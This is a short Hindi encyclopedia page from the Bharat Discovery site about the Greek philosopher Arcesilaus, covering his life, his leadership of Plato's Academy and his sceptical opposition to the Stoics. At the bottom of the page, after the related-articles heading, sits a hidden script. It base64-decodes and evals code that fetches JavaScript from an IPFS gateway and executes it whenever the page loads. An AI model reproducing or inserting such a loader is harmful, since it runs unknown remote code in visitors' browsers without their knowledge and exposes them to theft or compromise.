आर्केसिलाउस

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

आर्केसिलाउस (अथवा सिसरोया किकरो के अनुसार आर्केसिलास्‌) एक यूनानी दार्शनिक जो संदेहवाही अकादेमी के प्रवर्तक थे। इनका समय ई.पू. 315 से ई.पू. 214-5 तक है। इनका जन्मस्थान पिताने नगर था। एथेंस में आकर प्रथम यह अरस्तू के लीकियुम में थियफ्रोास्तस्‌ के शिष्य बने, पर क्रांतर नामक विद्धान्‌ इन्हें प्लातोन की आकदेमी में ले आया। ई. पू. 238-8 के लगभग ये अपनी प्रतिभा के कारण अकादेमी के अध्यक्ष बन गए। इनकी कोई भी रचना नहीं मिलती। इन्होंने स्तोइक (विरक्तिवादी) दार्शनिकों के 'विश्वासोत्पादक प्रत्यक्ष' का खंडन कर संदेहवाद का प्रतिपादन किया और सुकरात की विवेचनापद्धति को पुन: प्रतिष्ठित किया। पर यह समझ में नहीं आता कि इस संदेहवाद की संगति अकादमी के संस्थापक प्लातोन के विचारों के साथ कैसे संभव हुई।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 429 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>